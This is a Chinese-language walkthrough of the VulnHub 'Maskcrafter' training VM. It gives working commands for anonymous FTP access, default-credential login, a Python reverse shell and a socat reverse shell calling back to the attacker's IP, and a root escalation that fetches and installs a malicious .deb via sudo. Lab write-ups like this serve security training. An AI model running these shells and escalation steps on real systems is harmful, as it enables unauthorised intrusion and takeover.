vulnhub-maskcrafter-渗透笔记

介绍

Target audience: Beginners

https://www.vulnhub.com/entry/maskcrafter-11,445/ 

主机发现

信息搜集

使用nmap扫描

开放21端口 可以匿名登陆

ftp登陆

可看到目录下有俩个文件
]

将它下载下来

get NOTES.txt
get cred.zip

提示

1、请为/debug目录设置一个更强的密码，用户名为admin 

2、可以SQL注入

cred.zip需要密码才能解压

目录扫描

接下来访问网页

http://192.168.217.147/debug/

需要验证才能登陆，根据刚才提示输入admin、admin后成功登陆

网页可以执行命令，

使用python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.217.23",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

成功反弹

提权阶段

查看db.php

里面有数据库密码，使用phpmyadmin登陆

mydatabase里有两张表

creds

login

现在，我们得到了一个zip压缩包的密码

内容为一个用户的密码

切换用户，查看权限，可以使用 .sh脚本不需要密码登陆用户

写入命令

echo "/bin/bash"> whatsmyid.sh

执行 sudo -u evdaez ./whatsmyid.sh 提权到evdaez用户

socat 相关文章https://www.sohu.com/a/161766202_709042

kali监听

socat file:`tty`,raw,echo=0 tcp-listen:4444

在靶机执行

sudo -u evdaez /usr/bin/socat socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.217.23:4444

成功反弹

接下来在kali执行

gem install fpm
T=$(mktemp -d)
echo 'exec /bin/bash' > $T/c.sh
fpm -n x -s dir -t deb -a all --before=install $T/c.sh $T

使用python开启临时服务器

python -m SimpleHTTPServer  80

在靶机上下载刚刚的文件

wget http://192.168.217.23/x_1.0_all.deb

sudo dpkg -i x_1.0_all.deb

成功提权